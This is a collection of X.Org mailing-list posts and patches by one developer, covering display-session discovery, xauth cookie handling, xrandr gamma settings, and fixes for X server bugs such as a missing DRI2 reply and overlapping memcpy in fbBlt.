Re: Any reliable way to find the X11 display id and authority file for local session running in actual monitor.

[Michal Srb]

Hi,

I would say a systematic way to do it is using the systemd/logind dbus api.

You can see the information using the command line tool:

# loginctl show-seat seat0
Id=seat0
ActiveSession=1  <- interesting
CanMultiSession=yes
CanTTY=yes
CanGraphical=yes
Sessions=1564 1
IdleHint=no
IdleSinceHint=0
IdleSinceHintMonotonic=0

# loginctl show-session 1
Id=1
User=1000
Name=michal
Timestamp=Mon 2017-07-24 08:42:22 CEST
TimestampMonotonic=42458199
VTNr=7
Seat=seat0
Display=:0   <- interesting
Remote=no
Service=xdm-np
Scope=session-1.scope
Leader=3132  <- interesting
Audit=1
Type=x11
Class=user
Active=yes
State=active
IdleHint=no
IdleSinceHint=0
IdleSinceHintMonotonic=0


No idea about reliable way to find the authority file. Parsing the X's command 
line would probably work in most cases.

Michal Srb
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: new dependency for libtizcore required for mesa?

[Michal Srb]

On čtvrtek 7. června 2018 16:15:50 CEST Dennis Clarke wrote:
> Package libtizcore was not found in the pkg-config search path.
> Perhaps you should add the directory containing `libtizcore.pc'
> to the PKG_CONFIG_PATH environment variable
> No package 'libtizcore' found

This is not a problem. It seems to be optional requirement. I see the same 
message in my build log.

> checking for RADEON... yes
> checking for RADEON... yes
> configure: error: LLVM 3.9.0 or newer is required for r600

This is a problem. As it says, you need LLVM >= 3.9.0 and it did not find one.

Michal
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: X not starting on a 4GB rock64

[Michal Srb]

It looks to me like if both armsoc and modesetting are trying to use the same 
GPU, acting like there are two separate GPUs. The modesetting fails to call 
drmSetMaster on it, maybe because armsoc already did that first.

You could try if it gets better by disabling additonal GPUs by adding a 
configuration file like this (or appending it to your /etc/X11/xorg.conf file 
if you have):

/etc/X11/xorg.conf.d/80-serverflags.conf:

Section "ServerFlags"
  Option "AutoAddGPU" "False"
EndSection


Michal Srb
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: xauth clarifications

[Michal Srb]

On středa 21. února 2018 12:45:27 CET Sylvain Leroux wrote:
> 1) When is the "$XAUTHORITY" file (re-)read by the server?
> 
> According to the Xauth man:
> """
> Note that this program [xauth] does not contact the X server except
> when the generate command is used.
> """
> 
> But it _seems_ to me when I update the cookie with "xauth add ..."
> from Xephyr, the X server takes that change into account immediately.
> 
> Does that mean the ".Xauthority" file of the session owner is checked
> each time a new client is trying to connect to the server?

Yes, it checks the modification time and if it is different, it is reloaded:

https://cgit.freedesktop.org/xorg/xserver/tree/os/auth.c#n160

> 2) When is the system authorization cookie generated?
> 
> On my system, Xorg (Debian Linux w/lightdm) is started with the option
> "-auth /var/run/lightdm/root/:0"
> ":0" is an xauth file.
> 
> If I understand it correctly, this is the authorization file the
> client $AUTHORIZATION credentials are checked against.
> 
> But how that ":0" file is initially populated? On my system, the
> cookie seems to change each time I restart the X server. But somehow
> the new cookie _seems_ to be propagated to the logged in user
> $XAUTHORIZATION file.
> 
> Is there a way to ensure a cookie will remain valid across Xorg restarts?

Whoever is starting the X server is in charge of generating the file for the 
cookies. In usual usage it is the display manager, in your case lightdm.

Some display managers use the ~/.Xauthority file. If it already exist and 
contain some entries, they must not remove them because they may belong to 
some other session of the same user (could be even on different machine in 
case of network home). 

But many display managers today create fresh file somewhere under /var/run, so 
no cookie will persist between logins.

So if you want to use the same cookie across restarts (may not be best for 
security), you need to either start X yourself or adapt the display manager, 
or add extra cookie after the session was started.

> 3) Are Xorg and Xephyr handling xauth the same way?
> 
> I'm using both a genuine Xorg server and Xephyr.
> 
> Are both of them consistent in their way to handle xauth authorizations?

I think yes.

Michal
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: xauth clarifications

[Michal Srb]

On pondělí 26. února 2018 15:21:17 CET Sylvain Leroux wrote:
> Hi Michal,
> 
> Thanks to your answer and by studying the /usr/bin/startx script on my
> system, things are much more clear now.
> 
> On 02/22/2018 05:16 PM, Michal Srb wrote:
> >> 3) Are Xorg and Xephyr handling xauth the same way?
> >>  I'm using both a
> >> genuine Xorg server and Xephyr.
> >> 
> >> Are both of them consistent in their way to handle xauth
> >> authorizations?
> > 
> > I think yes.
> 
> I can't see a "-auth" option in the Xephyr man page. So, do you you know
> against what it checks incoming client credentials? I suspect it
> will use the process owner's ~/.Xauthority file but I'm not sure...

The manual page of Xephyr says "The server accepts all the standard options of 
Xserver(1) and the following additional options". And manual page of Xserver 
has the "-auth" option.

Also Xephyr -help shows the -auth option.

If the -aith is not set, it won't use any auth file and let any client in.

Michal
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: Dual monitor problem

[Michal Srb]

On sobota 7. dubna 2018 23:13:48 CEST Leslie Katz wrote:
> I have a laptop that I usually connect to an external monitor. I use
> Ubuntu 16.04 and Gnome 3.18.5. When I do connect to the external
> monitor, I like to turn the laptop screen off. I can do that by going to
> System Settings, Screen Display, selecting the built-in display and then
> clicking "off". I'd like to automate the process. I found a script that
> claimed to do that at startup. It's as follows:
> 
> #!/bin/bash
> 
> sleep 15
> 
> EXTERNAL_OUTPUT="DP1"
> INTERNAL_OUTPUT="eDP1"
> 
> xrandr |grep $EXTERNAL_OUTPUT | grep " connected "
> if [ $? -eq 0 ]; then
>  xrandr --output $INTERNAL_OUTPUT --off --output $EXTERNAL_OUTPUT
> --auto
> else
>  xrandr --output $INTERNAL_OUTPUT --auto --output $EXTERNAL_OUTPUT --off
> fi
> 
> I made the script a startup application.
> 
> It works as advertised when the external monitor is connected. However,
> when the external monitor is not connected, I first see my desktop on
> the laptop screen as I would like it. Then, when the script wakes up and
> runs, the bottom panel on my desktop suddenly jumps to the top of the
> screen and comes to rest immediately below the top panel. I can't find
> any reports of this happening to anyone else.
> 
> If anyone could explain to me why the script is causing this behavior
> and tell me how to correct it, I'd be very grateful.

If there is no external output the script reconfigures the internal output and 
disables the external output. I can't explain why the desktop environment 
reacts to it the way it does, but maybe you could just drop the whole else 
branch so nothing happens if there is no external output.

So it would look somehow like this:

...

xrandr |grep $EXTERNAL_OUTPUT | grep " connected "
if [ $? -eq 0 ]; then
 xrandr --output $INTERNAL_OUTPUT --off --output $EXTERNAL_OUTPUT --auto
fi

...

Michal Srb
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: Is xauth entry without display number valid?

[Michal Srb]

On čtvrtek 15. března 2018 19:45:01 CET Keith Packard wrote:
> According to comments in AuGetBest.c:
> 
>   /*
>* Match when:
>*   either family or entry->family are FamilyWild or
>*family and entry->family are the same and
>* address and entry->address are the same
>*  and
>*   either number or entry->number are empty or
>*number and entry->number are the same
>*  and
>*   either name or entry->name are empty or
>*name and entry->name are the same
>*/
> 
> This makes it sound like entries with an empty number field are valid
> and would match any incoming number.

Ok, thank you for the clarification!

> After a brief read through the xauth sources, it looks like that
> shouldn't be merging entries with empty number into entries with any
> number, but it also looks like there's no code which sorts entries with
> numbers before entries without numbers, and if the non-number entry
> occurs first in the file, you'll always match that.

It happens because `merge_entries` uses `match_auth` to recognize duplicate 
entries. But `match_auth` is comparing entries using the rules you listed 
above, so e.g. entry without number is merged with entry that has number, 
wildcart entry is merged with anything...

I will prepare patch to change the duplicate recognition by some "normal" 
comparison instead of using the matching rules.

Would it be ok if I also add sorting of the entries to: numbered, non-
numbered, wildcard?

> Suggestions on how to go about making this more sane are welcome; it
> might be best to just stop trying to use entries without numbers and go
> fix applications which are creating them. We could add warnings to
> xauth or even Xau, but I'm not sure that would be useful.

The only application that I am aware of that does this is GDM. They first 
generate the authority file and then start X with "-displayfd", so they don't 
know in advance which display number it will take.

It would be possible to create empty authority file and then fill it after X 
started. No idea how willing would they be to accept such change.

Michal Srb
___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: xrandr brightness settings permanent

[Michal Srb]

On středa 14. listopadu 2018 10:52:59 CET Riccardo Berto wrote:
> I have a low quality screen. It's very bright, even at minimum settings
> in the monitor menu. I'm able to reduce the brightness with `xrandr
> --output HDMI-0 --brightness 0.25` but sometimes the brightness goes
> back to the default levels when downloading something from the browser
> or doing peculiar interactions with the Xorg server, like opening the
> file manager. I guess this is caused by a re-read of the xorg.conf file
> under certain circumstances that I'm not aware of.
> The question is: is it possible to make the previously mentioned xrandr
> command permanent via some /etc/X11/xorg.conf.d/ conf file?

The xrandr's brightness parameter is just a multiplier for gamma, so you 
should be able to achieve the same thing with configuration like this:

Section "Monitor"
  ...

  Gamma 0.25
EndSection

This is alternative way of setting the initial value instead of using xrandr, 
but it probably won't fix the random changing back at runtime. X server does 
not normally reload xorg.conf while it is running. It seems that some 
application is intentionally changing the gamma at runtime, you should try to 
find out which one it is. Maybe some color management app? Don't you have 
redshift installed?

Michal


___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: xrandr brightness settings permanent

[Michal Srb]

On středa 14. listopadu 2018 21:22:28 CET Riccardo Berto wrote:
> Thanks for the answer.
> No, I don't use redshift. As far as I know, it can only happen twice
> during each Xorg start up. After these 2 times and me readjusting the
> backlight manually with the xrandr command previously posted, it stays
> that way even for a week of continued usage. It has done that for years.
> In the meantime I changed browsers, usage habits, Xorgs versions, PCs,
> GPUs, drivers, ...
> I have a keyboard shortcut with that xrandr command saved for this exact
> reason as I have to execute it up to 3 times during each session. I
> finally decided to go public with this issue as I can hardly bare the
> default minimum brightness of my "new" subpar screen.

What desktop environment are you using? I know that at least KDE/Plasma has 
its own configuration for gamma and will apply it itself on start.

Michal


___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

Re: xrandr brightness settings permanent

[Michal Srb]

On pátek 16. listopadu 2018 17:25:00 CET Riccardo Berto wrote:
> On 2018-11-15 08:25, Michal Srb wrote:
> > On středa 14. listopadu 2018 21:22:28 CET Riccardo Berto wrote:
> >> Thanks for the answer.
> >> No, I don't use redshift. As far as I know, it can only happen twice
> >> during each Xorg start up. After these 2 times and me readjusting the
> >> backlight manually with the xrandr command previously posted, it stays
> >> that way even for a week of continued usage. It has done that for
> >> years.
> >> In the meantime I changed browsers, usage habits, Xorgs versions, PCs,
> >> GPUs, drivers, ...
> >> I have a keyboard shortcut with that xrandr command saved for this
> >> exact
> >> reason as I have to execute it up to 3 times during each session. I
> >> finally decided to go public with this issue as I can hardly bare the
> >> default minimum brightness of my "new" subpar screen.
> > 
> > What desktop environment are you using? I know that at least KDE/Plasma
> > has
> > its own configuration for gamma and will apply it itself on start.
> > 
> > Michal
> 
> I'm using Gnome 3.30.
> 
> I provide you with an example so it's more clear (I hope):
> I just booted and logged in. I execute the xrandr command once to lower
> the insane brightness level. I open nautilus (file manager), try to
> trash some file by selecting it and pressing the DELETE button --> Xorg
> resets the gamma settings to the default value. The only thing that
> appeared on the screen that may have caused this is the "_filename_ was
> moved to trash" greyish notification on the top side of the window, near
> the title bar of nautilus. Nothing changed in the system except for that
> notification and the file that is now in the trash. This behavior is
> reproducible 100% of the times, after a boot.
> I then execute the xrandr command to lower the brightness level as it
> was reseted. If I trash something else, even with that notification
> popping up, it won't reset again unless I reboot. I'm now in the middle
> state of this weird behavior. I'm sure that it will resets again somehow
> and if I lower the gamma with that xrandr command for the third time, it
> won't reset by itself ever again until the next boot.

I observe the same thing. Gnome-shell calls XRRSetCrtcGamma the first time the 
"Undo" window is shown after deleting file.

From the backtrace it is not clear to me why:

#0  0x7f5b6ea5e2e0 in XRRSetCrtcGamma (dpy=0x55a7ebccc630, crtc=63, 
crtc_gamma=0x55a7ec8aedd0) at XrrCrtc.c:262
#1  0x7f5b74c3c6c8 in meta_monitor_manager_xrandr_set_crtc_gamma 
(manager=, crtc=0x55a7ec078150, size=, 
red=0x55a7ef6191b0, green=0x7f5b540123e0, blue=0x55a7ebd15860) at 
backends/x11/meta-monitor-manager-xrandr.c:668
#2  0x7f5b74c2e68e in meta_monitor_manager_handle_set_crtc_gamma 
(skeleton=0x55a7ebd040b0, invocation=0x7f5b60044d50, serial=, 
crtc_id=, red_v=, green_v=, 
blue_v=0x7f5b60035500) at backends/meta-monitor-manager.c:2240
#3  0x7f5b729946c5 in  () at /usr/lib64/libffi.so.7
#4  0x7f5b72993bd7 in  () at /usr/lib64/libffi.so.7
#5  0x7f5b758ed5e5 in g_cclosure_marshal_generic () at 
/usr/lib64/libgobject-2.0.so.0
#6  0x7f5b758ecb6d in g_closure_invoke () at /usr/lib64/libgobject-2.0.so.0
#7  0x7f5b758ff4e4 in  () at /usr/lib64/libgobject-2.0.so.0
#8  0x7f5b75907e8f in g_signal_emitv () at /usr/lib64/libgobject-2.0.so.0
#9  0x7f5b74cd78ba in _meta_dbus_display_config_skeleton_handle_method_call 
(connection=, sender=, object_path=, interface_name=0x7f5b6003da00 "org.gnome.Mutter.DisplayConfig", 
method_name=0x7f5b6004d710 "SetCrtcGamma", parameters=, 
invocation=0x7f5b60044d50, user_data=0x55a7ebd040b0) at 
meta-dbus-display-config.c:2552
#10 0x7f5b75c9d316 in  () at /usr/lib64/libgio-2.0.so.0
#11 0x7f5b75c8515c in  () at /usr/lib64/libgio-2.0.so.0
#12 0x7f5b75808627 in g_idle_dispatch (source=0x7f5b6001d6c0, 
callback=0x7f5b75c85070, user_data=0x7f5b60044d50) at gmain.c:5620
#13 0x7f5b7580bc15 in g_main_dispatch (context=0x55a7ebcbc3f0) at 
gmain.c:3182
#14 0x7f5b7580bc15 in g_main_context_dispatch 
(context=context@entry=0x55a7ebcbc3f0) at gmain.c:3847
#15 0x7f5b7580bfd8 in g_main_context_iterate (context=0x55a7ebcbc3f0, 
block=block@entry=1, dispatch=dispatch@entry=1, self=) at 
gmain.c:3920
#16 0x7f5b7580c2d2 in g_main_loop_run (loop=0x55a7ec08eee0) at gmain.c:4116
#17 0x7f5b74c66b2c in meta_run () at core/main.c:689

You should ask Gnome people.

Michal


___
xorg@lists.x.org: X.Org support
Archives: http://lists.freedesktop.org/archives/xorg
Info: https://lists.x.org/mailman/listinfo/xorg
Your subscription address: %(user_address)s

[PATCH] dri2: SProcDRI2Connect - send the response.

[Michal Srb]

The swapped implementation of DRI2Connect is always responding with empty
device and driver values. However the response was only prepared and never
sent (also had undefined .type member), causing e.g. glxinfo get stuck waiting
for response when started remotely from machine with different endianity.

Signed-off-by: Michal Srb m...@suse.com
---
 hw/xfree86/dri2/dri2ext.c |3 +++
 1 file changed, 3 insertions(+)

diff --git a/hw/xfree86/dri2/dri2ext.c b/hw/xfree86/dri2/dri2ext.c
index 73ef7f2..c7749ba 100644
--- a/hw/xfree86/dri2/dri2ext.c
+++ b/hw/xfree86/dri2/dri2ext.c
@@ -592,12 +592,15 @@ SProcDRI2Connect(ClientPtr client)
 if (sizeof(*stuff) / 4 != client-req_len)
return BadLength;
 
+rep.type = X_Reply;
 rep.sequenceNumber = client-sequence;
 swaps(rep.sequenceNumber);
 rep.length = 0;
 rep.driverNameLength = 0;
 rep.deviceNameLength = 0;
 
+WriteToClient(client, sizeof(xDRI2ConnectReply), rep);
+
 return Success;
 }
 
-- 
1.7.9.2

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH input-vmmouse] Enable hardware access during vmmouse preinit.

[Michal Srb]

Vmmouse driver uses outl calls but never requests hardware access.
In case there are no other drivers that requests it, vmmouse 
initialization will fail. (Found on KVM virtual machine with fbdev 
graphics driver and vmmouse input driver.)

Request hardware access in same way xf86-input-keyboard does.
---
 src/vmmouse.c |   21 +
 1 files changed, 21 insertions(+), 0 deletions(-)

diff --git a/src/vmmouse.c b/src/vmmouse.c
index 285ba26..7778923 100644
--- a/src/vmmouse.c
+++ b/src/vmmouse.c
@@ -65,6 +65,7 @@
 #include xf86Xinput.h
 #include xf86_OSproc.h
 #include xf86OSmouse.h
+#include xf86Priv.h
 #include compiler.h
 
 #if GET_ABI_MAJOR(ABI_XINPUT_VERSION) = 7
@@ -339,6 +340,16 @@ VMMousePreInit(InputDriverPtr drv, IDevPtr dev, int flags)
 #endif
 
/*
+* enable hardware access
+*/
+   if (!xorgHWAccess) {
+  if (xf86EnableIO())
+  xorgHWAccess = TRUE;
+  else
+  return NULL;
+   }
+
+   /*
 * try to enable vmmouse here
 */
if (!VMMouseClient_Enable()) {
@@ -399,6 +410,16 @@ VMMousePreInit(InputDriverPtr drv, InputInfoPtr pInfo, int 
flags)
VMMousePrivPtr mPriv = NULL;
int rc = Success;
 
+   /* Enable hardware access. */
+   if (!xorgHWAccess) {
+  if (xf86EnableIO())
+  xorgHWAccess = TRUE;
+  else {
+  rc = BadValue;
+  goto error;
+  }
+   }
+
 #if GET_ABI_MAJOR(ABI_XINPUT_VERSION) = 12
/* For ABI  12, we need to return the wrapped driver's pInfo (see
 * above). ABI 12, we call NIDR and are done */
-- 
1.7.7
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] dri2: SProcDRI2Connect - send the response.

[Michal Srb]

The swapped implementation of DRI2Connect is always responding with empty
device and driver values. However the response was only prepared and never
sent (also had undefined .type member), causing e.g. glxinfo get stuck waiting
for response when started remotely from machine with different endianity.

Signed-off-by: Michal Srb m...@suse.com
Reviewed-by: Jeremy Huddleston jerem...@apple.com
---
 hw/xfree86/dri2/dri2ext.c |3 +++
 1 file changed, 3 insertions(+)

diff --git a/hw/xfree86/dri2/dri2ext.c b/hw/xfree86/dri2/dri2ext.c
index 73ef7f2..c7749ba 100644
--- a/hw/xfree86/dri2/dri2ext.c
+++ b/hw/xfree86/dri2/dri2ext.c
@@ -592,12 +592,15 @@ SProcDRI2Connect(ClientPtr client)
 if (sizeof(*stuff) / 4 != client-req_len)
return BadLength;
 
+rep.type = X_Reply;
 rep.sequenceNumber = client-sequence;
 swaps(rep.sequenceNumber);
 rep.length = 0;
 rep.driverNameLength = 0;
 rep.deviceNameLength = 0;
 
+WriteToClient(client, sizeof(xDRI2ConnectReply), rep);
+
 return Success;
 }
 
-- 
1.7.9.2
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: question about the bfd cursor description

[Michal Srb]

On Tuesday 22 of May 2012 13:41:50 Vincent Torri wrote:
 but i would like to know the meaning of the other fields (ENCODING
 (but i think that this field is useless for me), SWIDTH, DWIDTH and
 BBX). I think that BBX is for the hot point but i don't know how it is
 computed from these values.

Hi, check wiki:
http://en.wikipedia.org/wiki/Glyph_Bitmap_Distribution_Format

specification:
http://partners.adobe.com/public/developer/en/font/5005.BDF_Spec.pdf

and X.org implementation:
http://cgit.freedesktop.org/xorg/lib/libXfont/tree/src/bitmap/bdfread.c

Michal
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

fbBlt - memcpy on overlapping ranges

[Michal Srb]

Hi,

In fb/fbblt.c in fbBlt function, memcpy is used to blit inside lines:

if (!upsidedown)
 for (i = 0; i  height; i++)
 MEMCPY_WRAPPED(dst + i * dstStride, src + i * srcStride, width);
else
 for (i = height - 1; i = 0; i--)
 MEMCPY_WRAPPED(dst + i * dstStride, src + i * srcStride, width);


Where MEMCPY_WRAPPED is normaly expanded to standard memcpy function.

In case of blitting in horizontal direction of less than width overlapping 
will occur. According to memcpy documentation, result is undefined in such 
case. Shouldn't memmove be used instead?

(This does happen, found using clang's AddressSanitizer - steps I used: run X 
without any client in vmware, then kate and then kwin.)

Michal
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] Change memcpy to memmove in fbBlt

[Michal Srb]

In case of horizontal blitting of less than width of blitted area,
memcpy is used on overlapping areas which is not allowed. The behavior
is undefined in such case, probably leading to graphical artifact when
blitting in specific direction.
---
 fb/fb.h|   14 ++
 fb/fbblt.c |4 ++--
 2 files changed, 12 insertions(+), 6 deletions(-)

diff --git a/fb/fb.h b/fb/fb.h
index b327ce6..b4f2ffd 100644
--- a/fb/fb.h
+++ b/fb/fb.h
@@ -49,11 +49,17 @@
 #define WRITE(ptr, val) ((*wfbWriteMemory)((ptr), (val), sizeof(*(ptr
 #define READ(ptr) ((*wfbReadMemory)((ptr), sizeof(*(ptr
 
-#define MEMCPY_WRAPPED(dst, src, size) do {   \
+#define MEMMOVE_WRAPPED(dst, src, size) do {  \
 size_t _i;\
 CARD8 *_dst = (CARD8*)(dst), *_src = (CARD8*)(src);   \
-for(_i = 0; _i  size; _i++) {\
-WRITE(_dst +_i, READ(_src + _i)); \
+if(_src  _dst) { \
+for(_i = 0; _i  size; _i++) {\
+WRITE(_dst +_i, READ(_src + _i)); \
+} \
+} else {  \
+for(_i = 0; _i  size; _i++) {\
+WRITE(_dst + size - _i - 1, READ(_src + size - _i - 1)); \
+} \
 } \
 } while(0)
 
@@ -70,7 +76,7 @@
 #define FBPREFIX(x) fb##x
 #define WRITE(ptr, val) (*(ptr) = (val))
 #define READ(ptr) (*(ptr))
-#define MEMCPY_WRAPPED(dst, src, size) memcpy((dst), (src), (size))
+#define MEMMOVE_WRAPPED(dst, src, size) memmove((dst), (src), (size))
 #define MEMSET_WRAPPED(dst, val, size) memset((dst), (val), (size))
 
 #endif
diff --git a/fb/fbblt.c b/fb/fbblt.c
index 17bd698..b4dfeb7 100644
--- a/fb/fbblt.c
+++ b/fb/fbblt.c
@@ -84,10 +84,10 @@ fbBlt(FbBits * srcLine,
 
 if (!upsidedown)
 for (i = 0; i  height; i++)
-MEMCPY_WRAPPED(dst + i * dstStride, src + i * srcStride, 
width);
+MEMMOVE_WRAPPED(dst + i * dstStride, src + i * srcStride, 
width);
 else
 for (i = height - 1; i = 0; i--)
-MEMCPY_WRAPPED(dst + i * dstStride, src + i * srcStride, 
width);
+MEMMOVE_WRAPPED(dst + i * dstStride, src + i * srcStride, 
width);
 
 return;
 }
-- 
1.7.7


___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] input: Remove invalid bug checks.

[Michal Srb]

Commit 2f1aedcaed8fd99b823d451bf1fb02330c078f67 added several bug checks. Some
of them are not correct.

Checks in Init(Ptr|String|Bell|Led|Integer)FeedbackClassDeviceStruct verify
that no feedback struct was set yet, but that is not required. If any feedback
structs are already present, the function will chain them behind the new one.

Signed-off-by: Michal Srb m...@suse.com
---
Presence of this check caused crashes in Xen. The virtual pointer there has
both relative and absolute axis. InitPtrFeedbackClassDeviceStruct got called
twice, first from EvdevAddRelValuatorClass then from EvdevAddAbsValuatorClass.
The second call fails because of this bug check which makes
EvdevAddAbsValuatorClass revert some EvdevPtr members to zero. That leads to
crashes later when absolute events came for processing.

diff --git a/dix/devices.c b/dix/devices.c
index ab923d5..73f60f4 100644
--- a/dix/devices.c
+++ b/dix/devices.c
@@ -1475,7 +1475,6 @@ InitPtrFeedbackClassDeviceStruct(DeviceIntPtr dev, 
PtrCtrlProcPtr controlProc)
 PtrFeedbackPtr feedc;
 
 BUG_RETURN_VAL(dev == NULL, FALSE);
-BUG_RETURN_VAL(dev-ptrfeed != NULL, FALSE);
 
 feedc = malloc(sizeof(PtrFeedbackClassRec));
 if (!feedc)
@@ -1519,7 +1518,6 @@ InitStringFeedbackClassDeviceStruct(DeviceIntPtr dev,
 StringFeedbackPtr feedc;
 
 BUG_RETURN_VAL(dev == NULL, FALSE);
-BUG_RETURN_VAL(dev-stringfeed != NULL, FALSE);
 
 feedc = malloc(sizeof(StringFeedbackClassRec));
 if (!feedc)
@@ -1556,7 +1554,6 @@ InitBellFeedbackClassDeviceStruct(DeviceIntPtr dev, 
BellProcPtr bellProc,
 BellFeedbackPtr feedc;
 
 BUG_RETURN_VAL(dev == NULL, FALSE);
-BUG_RETURN_VAL(dev-bell != NULL, FALSE);
 
 feedc = malloc(sizeof(BellFeedbackClassRec));
 if (!feedc)
@@ -1578,7 +1575,6 @@ InitLedFeedbackClassDeviceStruct(DeviceIntPtr dev, 
LedCtrlProcPtr controlProc)
 LedFeedbackPtr feedc;
 
 BUG_RETURN_VAL(dev == NULL, FALSE);
-BUG_RETURN_VAL(dev-leds != NULL, FALSE);
 
 feedc = malloc(sizeof(LedFeedbackClassRec));
 if (!feedc)
@@ -1601,7 +1597,6 @@ InitIntegerFeedbackClassDeviceStruct(DeviceIntPtr dev,
 IntegerFeedbackPtr feedc;
 
 BUG_RETURN_VAL(dev == NULL, FALSE);
-BUG_RETURN_VAL(dev-intfeed != NULL, FALSE);
 
 feedc = malloc(sizeof(IntegerFeedbackClassRec));
 if (!feedc)

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] dri2: Fix detection of wrong prime_id in GetScreenPrime.

[Michal Srb]

Checking the iterating variable (slave) against null can not detect if the
xorg_list_for_each_entry finished without break being invoked - slave variable
will be always non-null. This caused segfault whenever someone tried to use
DRI_PRIME with incorrect id while having at least one render offloading slave
configured.

Restructurize the GetScreenPrime to work as expected.

diff --git a/hw/xfree86/dri2/dri2.c b/hw/xfree86/dri2/dri2.c
index 729a323..5b2c662 100644
--- a/hw/xfree86/dri2/dri2.c
+++ b/hw/xfree86/dri2/dri2.c
@@ -156,11 +156,9 @@ GetScreenPrime(ScreenPtr master, int prime_id)
 
 ds = DRI2GetScreen(slave);
 if (ds-prime_id == prime_id)
-break;
+return slave;
 }
-if (!slave)
-return master;
-return slave;
+return master;
 }
 
 static DRI2ScreenPtr

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] dri2: Fix detection of wrong prime_id in GetScreenPrime.

[Michal Srb]

No response? It's simple change and fixes client triggered crash...

On Tuesday April 15 2014 18:54:35 Michal Srb wrote:
 Checking the iterating variable (slave) against null can not detect if the
 xorg_list_for_each_entry finished without break being invoked - slave
 variable will be always non-null. This caused segfault whenever someone
 tried to use DRI_PRIME with incorrect id while having at least one render
 offloading slave configured.
 
 Restructurize the GetScreenPrime to work as expected.
 
 diff --git a/hw/xfree86/dri2/dri2.c b/hw/xfree86/dri2/dri2.c
 index 729a323..5b2c662 100644
 --- a/hw/xfree86/dri2/dri2.c
 +++ b/hw/xfree86/dri2/dri2.c
 @@ -156,11 +156,9 @@ GetScreenPrime(ScreenPtr master, int prime_id)
 
  ds = DRI2GetScreen(slave);
  if (ds-prime_id == prime_id)
 -break;
 +return slave;
  }
 -if (!slave)
 -return master;
 -return slave;
 +return master;
  }
 
  static DRI2ScreenPtr
 
 ___
 xorg-devel@lists.x.org: X.Org development
 Archives: http://lists.x.org/archives/xorg-devel
 Info: http://lists.x.org/mailman/listinfo/xorg-devel

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

How to fix assert from ProcRRSetProviderOutputSource.

[Michal Srb]

Hi,

When you have two graphic cards that both have Source Output and Sink Output 
capabilities (intel and nouveau for example). It's very easy to flip 
parameters of xrandr --setprovideroutputsource and attempt to provide outputs 
of the main screen to the slave screen.

That triggers assert fault in:
  ProcRRSetProviderOutputSource
  xf86RandR14ProviderSetOutputSource
  DetachUnboundGPU
assert(slave-isGPU);

And whole X server crashes. I would like to fix it, but I am not sure what 
would be the best approach:

1) Add check to ProcRRSetProviderOutputSource and return BadValue when the 
provider is the main screen.

2) Filter out Sink Output capability of the main screen, that way 
ProcRRSetProviderOutputSource would also return BadValue and xrandr and other 
tools will be aware in advance that the screen can not work as Sink Output.

3) Something else?

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: http://lists.x.org/mailman/listinfo/xorg-devel

Trying to understand meaning of rrCheckPixmapBounding.

[Michal Srb]

Hello,

I am currectly trying to solve a bug when Xserver doesn't configure correctly 
monitor on slaved gpu if the monitor is rotated to left or right. Things get 
broken...

I found out that the problem is in rrCheckPixmapBounding - it doesn't consider 
rotation of the crtcs. So it thinks it needs some different size of screen and 
resizes it to incorrect size. Even that xrandr already resized it to perfect 
size before.

Additionally when it resizes the screen, it sets physical size to 0x0 mm. 
Which breaks other things later. (For example any following xrandr call will 
die in XRRSetScreenSize because it sends back the physical size 0x0 mm.)

Both problems could be fixed, but I currently don't understand why is 
rrCheckPixmapBounding needed at all. Any attempt to configure crtc that would 
be outside of the screen boundaries would return BadValue already in 
ProcRRSetCrtcConfig, no? That's why the xrandr resizes the screen first, if 
neccessary.

So why is there rrCheckPixmapBounding?

Thank you,
Michal Srb

___
xorg-devel@lists.x.org: X.Org development
